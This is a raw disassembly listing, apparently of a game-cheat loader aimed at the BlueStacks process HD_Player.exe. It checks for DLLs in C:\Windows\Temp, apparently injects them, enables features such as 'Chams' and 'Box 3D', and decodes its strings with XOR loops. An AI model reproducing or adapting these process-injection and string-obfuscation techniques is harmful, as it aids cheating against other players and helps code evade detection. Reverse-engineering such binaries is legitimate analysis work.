shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005f0d0
cmp r8d, 0x16
jge 0x14005f224
movsxd rax, r8d
lea r9, [rbp + 0x786]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x14005f1f0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x786]
call fcn.1400345b0
test al, al
je 0x14005f79e
mov eax, dword [0x1401efdcc]
test eax, eax
jne 0x14005f47c
movsd xmm0, qword [str.HD_Player.exe]
mov ecx, Ordinal_50
mov eax, dword [0x140171da0]
movsd qword [rbp + 0x218], xmm0
xorps xmm0, xmm0
mov dword [rbp + 0x220], eax
movzx eax, byte [0x140171da4]
movups xmmword [rbp + 0x1a8], xmm0
mov word [rbp + 0x226], r13w
mov qword [rbp + 0x228], reloc.WS2_32.dll_listen
mov qword [rbp + 0x230], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x224], al
mov byte [rbp + 0x225], r13b
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], r13
call fcn.140132cd8
movups xmm0, xmmword [str.C:WindowsTempD3D11_Overlay_ImGui.dll]
mov qword [rbp + 0x1a8], rax
mov rdx, rax
mov qword [rbp + 0x1b8], Ordinal_45
mov qword [rbp + 0x1c0], Ordinal_50
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140172778]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140172788]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x14017278c]
mov word [rax + 0x24], cx
lea rcx, [0x140172a10]
movzx eax, byte [0x14017278e]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbp + 0x1c0], 0xf
lea rcx, [rbp + 0x1a8]
cmova rcx, qword [rbp + 0x1a8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140064388
cmp qword [rbp + 0x230], 0xf
lea rcx, [rbp + 0x218]
cmova rcx, qword [rbp + 0x218]
call fcn.1400518b0
test eax, eax
je 0x14005f384
cmp qword [rbp + 0x1c0], 0xf
lea rdx, [rbp + 0x1a8]
mov ecx, eax
cmova rdx, qword [rbp + 0x1a8]
call fcn.140051960
comiss xmm13, dword [0x1401db7ec]
jbe 0x14005f39c
lea rax, str.Chams_Colore_:_Enabled
mov qword [0x1401b7df0], rax
mov r8d, reloc.WS2_32.dll_setsockopt
mov byte [0x1401ba28c], 1
lea rdx, str.Chams_Colre_:_Enabled
mov dword [0x1401db4ac], r13d
lea rcx, [0x1401b92c0]
call fcn.140042c70
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x14005f404
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f3ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov rdx, qword [rbp + 0x230]
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a8], r13b
cmp rdx, 0xf
jbe 0x14005f45e
mov rcx, qword [rbp + 0x218]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f459
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x230], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x218], r13b
jmp 0x14005f79e
cmp eax, 1
jne 0x14005f68d
movsd xmm0, qword [str.HD_Player.exe]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov eax, dword [0x140171da0]
movsd qword [rbp + 0x258], xmm0
xorps xmm0, xmm0
mov dword [rbp + 0x260], eax
movzx eax, byte [0x140171da4]
movups xmmword [rbp + 0x238], xmm0
mov word [rbp + 0x266], r13w
mov qword [rbp + 0x268], reloc.WS2_32.dll_listen
mov qword [rbp + 0x270], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x264], al
mov byte [rbp + 0x265], r13b
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], r13
call fcn.140132cd8
movups xmm0, xmmword [str.C:WindowsTemphk4x.dll]
mov qword [rbp + 0x238], rax
lea rcx, [0x140172a10]
mov qword [rbp + 0x248], Ordinal_33
mov qword [rbp + 0x250], Ordinal_33
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140172858]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbp + 0x250], 0xf
lea rcx, [rbp + 0x238]
cmova rcx, qword [rbp + 0x238]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14006439d
cmp qword [rbp + 0x270], 0xf
lea rcx, [rbp + 0x258]
cmova rcx, qword [rbp + 0x258]
call fcn.1400518b0
mov r8d, eax
test eax, eax
je 0x14005f599
lea rcx, [rbp + 0x238]
call fcn.1400428e0
mov rdx, rax
mov ecx, r8d
call fcn.140051960
comiss xmm13, dword [0x1401db7ec]
lea rax, str.Chams_3D_:_Enabled
jbe 0x14005f5b1
mov qword [0x1401b7df0], rax
mov r8d, reloc.WS2_32.dll_select
mov byte [0x1401ba28c], 1
mov rdx, rax
mov dword [0x1401db4ac], r13d
lea rcx, [0x1401b92c0]
call fcn.140042c70
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x14005f615
mov rcx, qword [rbp + 0x238]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f610
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov rdx, qword [rbp + 0x270]
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x238], r13b
cmp rdx, 0xf
jbe 0x14005f66f
mov rcx, qword [rbp + 0x258]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f66a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x270], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x258], r13b
jmp 0x14005f79e
cmp eax, 2
jne 0x14005f79e
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xd20]
call fcn.140042a00
xorps xmm0, xmm0
mov qword [rbp + 0x4b8], r13
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x4c0], r13
movups xmmword [rbp + 0x4a8], xmm0
call fcn.140132cd8
movups xmm0, xmmword [str.C:WindowsTemp_boxZ.dll]
mov qword [rbp + 0x4a8], rax
lea rcx, [0x140172a10]
mov qword [rbp + 0x4b8], Ordinal_33
mov qword [rbp + 0x4c0], Ordinal_33
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140172938]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbp + 0x4c0], 0xf
lea rcx, [rbp + 0x4a8]
cmova rcx, qword [rbp + 0x4a8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400643b2
lea rcx, [rbp + 0xd20]
call fcn.1400428e0
mov rcx, rax
call fcn.1400518b0
mov r8d, eax
test eax, eax
je 0x14005f767
lea rcx, [rbp + 0x4a8]
call fcn.1400428e0
mov rdx, rax
mov ecx, r8d
call fcn.140051960
lea rcx, str.Box_3D_:_Enabled
call fcn.140050370
lea rdx, str.Box_3D_:_Enabled
lea rcx, [0x1401b92c0]
call fcn.1400428f0
lea rcx, [rbp + 0x4a8]
call fcn.140042910
lea rcx, [rbp + 0xd20]
call fcn.140042910
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14005f7dc
cmp qword [rdx + 0x4b28], r13
je 0x14005f7e8
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
movzx eax, byte [0x140173c88]
mov r8d, r13d
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov byte [rbp + 0x4f0], al
mov dword [rbp + 0xd4], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.PIZQ_]
movups xmmword [rbp + 0x4d8], xmm0
movsd xmm0, qword [0x140173c80]
movsd qword [rbp + 0x4e8], xmm0
cmp r15d, 2
jl 0x14005f98f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x4dc]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005f880
cmp r8d, 0x19
jge 0x14005f9d4
movsxd rax, r8d
lea r9, [rbp + 0x4d8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005f9a0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x4d8]
call fcn.1400345b0
test al, al
je 0x14005fa1c
mov eax, dword [0x1401efdcc]
test eax, eax
je 0x14005fa1c
cmp eax, 1
jne 0x14005fa02
mov byte [0x1401bb2ec], al
jmp 0x14005fa1c
cmp eax, 2
jne 0x14005fa10
mov byte [0x1401bb34c], 1
jmp 0x14005fa1c
cmp eax, 3
jne 0x14005fa1c
mov byte [0x1401bb34d], 1
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
jne 0x14005fa45
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
movups xmm0, xmmword [0x140173b68]
movups xmmword [rbp + 0x810], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005fc04
cmp r15d, 2
jl 0x14005fbb9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x814]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14005fab0
jmp 0x14005fc04
lea r9, [rbp + 0x810]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005fbd0
cmp byte [0x140173d9b], r13b
lea rax, [rbp + 0x810]
movups xmm0, xmmword [str.uX_R_]
mov qword [rbp + 0x8b0], rax
mov eax, dword [0x140173d98]
movups xmmword [rbp + 0x884], xmm0
mov dword [rbp + 0x894], eax
je 0x14005fdd4
mov r8d, r13d
cmp r15d, 2
jl 0x14005fd8f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x888]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005fc80
cmp r8d, 0x14
jge 0x14005fdd4
movsxd rax, r8d
lea r9, [rbp + 0x884]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005fda0
mov dword [rsp + 0x28], r13d
lea r9, [rbp + 0x8b0]
lea rdx, [0x1401efdd8]
mov dword [rsp + 0x20], esi
lea rcx, [rbp + 0x884]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005fe27
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005fe51
cmp qword [rax + 0x4b28], r13
je 0x14005fe5d
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
cmp byte [0x140173f13], r13b
mulss xmm0, xmm9
subss xmm0, dword [rax + 0x37e8]
mov eax, dword [str.rrqC]
mov dword [rbp + 0x3ac], 0x420c0000
mov dword [rbp + 0x187], eax
addss xmm0, xmm11
movss dword [rbp + 0x3a8], xmm0
movsd xmm0, qword [str.W_YPX]
movsd qword [rbp + 0x17f], xmm0
je 0x140060014
mov r8d, r13d
cmp r15d, 2
jl 0x14005ffc7
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.W_YPX]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x17f], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x183]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x183], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17f]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005ffe0
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x17f]
call fcn.1400345b0
test al, al
je 0x140060049
mov eax, dword [0x1401efdd8]
test eax, eax
jne 0x14006003e
mov byte [0x1401db484], 1
jmp 0x140060049
cmp eax, 1
jne 0x140060049
mov byte [0x1401ba209], al
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x140060087
cmp qword [rdx + 0x4b28], r13
je 0x140060093
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
mov eax, dword [str.cssD]
mov r8d, r13d
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov dword [rbp + 0x6a], eax
movzx eax, byte [0x1401735f4]
mov byte [rbp + 0x6e], al
mov dword [rbp + 0xcc], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x1401735e8]
movsd qword [rbp + 0x62], xmm0
cmp r15d, 2
jl 0x1400601eb
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401735e8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x62], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x66]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x66], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x62]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140060200
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x62]
call fcn.1400345b0
test al, al
je 0x14006026a
mov eax, dword [0x1401efdd8]
test eax, eax
jne 0x14006025b
mov byte [0x1401db484], 1
jmp 0x14006026a
cmp eax, 1
jne 0x14006026a
mov byte [0x1401ba209], al
call fcn.14000c5a0
call fcn.140016b30
mov eax, dword [0x1401efdf4]
cmp eax, 2
jne 0x140060da1
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x248]
subss xmm1, xmm0
subss xmm2, xmm7
subss xmm2, xmm15
cmp qword [rax + 0x1a0], r13
jne 0x1400602cf
cmp qword [rcx + 0x4b28], r13
je 0x1400602db
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x382c]
lea rdx, [rbp + 0x3a0]
movzx ecx, word [0x140173f00]
movzx eax, byte [0x140173f02]
mov word [rbp - 0x4a], cx
xor al, 0x42
xor byte [rbp - 0x49], 0x41
xor cl, 0x40
mulss xmm0, xmm9
mov byte [rbp - 0x4a], cl
lea rcx, [rbp - 0x52]
mulss xmm1, xmm9
mov byte [rbp - 0x48], al
movss dword [rbp + 0x3a4], xmm2
subss xmm1, xmm0
movsd xmm0, qword [str.hKUOYJV__B]
movsd qword [rbp - 0x52], xmm0
xor byte [rbp - 0x51], 0x39
xor byte [rbp - 0x50], 0x3a
xor byte [rbp - 0x4f], 0x3b
xor byte [rbp - 0x4e], 0x3c
subss xmm1, xmm8
xor byte [rbp - 0x4d], 0x3d
xor byte [rbp - 0x4c], 0x3e
xor byte [rbp - 0x4b], 0x3f
mov byte [rbp - 0x52], 0x50
movss dword [rbp + 0x3a0], xmm1
call fcn.14000c490
movzx eax, word [0x140173b5c]
lea r9, [rbp + 0x8b8]
mov word [rbp - 0x60], ax
lea rdx, [0x1401efe1c]
movzx eax, byte [0x140173b5e]
lea rcx, [rbp - 0x47]
xor byte [rbp - 0x5f], 0x39
xor al, 0x3a
mov byte [rbp - 0x5e], al
lea rax, [rbp - 0x60]
mov qword [rbp + 0x8b8], rax
mov eax, dword [0x140173830]
mov dword [rbp - 0x47], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp - 0x46], 0x39
xor al, 0x3c
xor byte [rbp - 0x45], 0x3a
xor byte [rbp - 0x44], 0x3b
mov dword [rsp + 0x28], esi
mov byte [rbp - 0x43], al
mov byte [rbp - 0x60], 0x76
mov byte [rbp - 0x47], 0x76
mov dword [rsp + 0x20], esi
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x140060402
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14006042c
cmp qword [rax + 0x4b28], r13
je 0x140060438
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
mulss xmm0, xmm9
mov r8d, r13d
subss xmm0, dword [rax + 0x37e8]
mov eax, dword [str.qxzD]
mov dword [rbp + 0x91], eax
movzx eax, byte [0x14017381c]
mov byte [rbp + 0x95], al
mov dword [rbp + 0xc4], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140173810]
movsd qword [rbp + 0x89], xmm0
cmp r15d, 2
jl 0x1400605a2
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
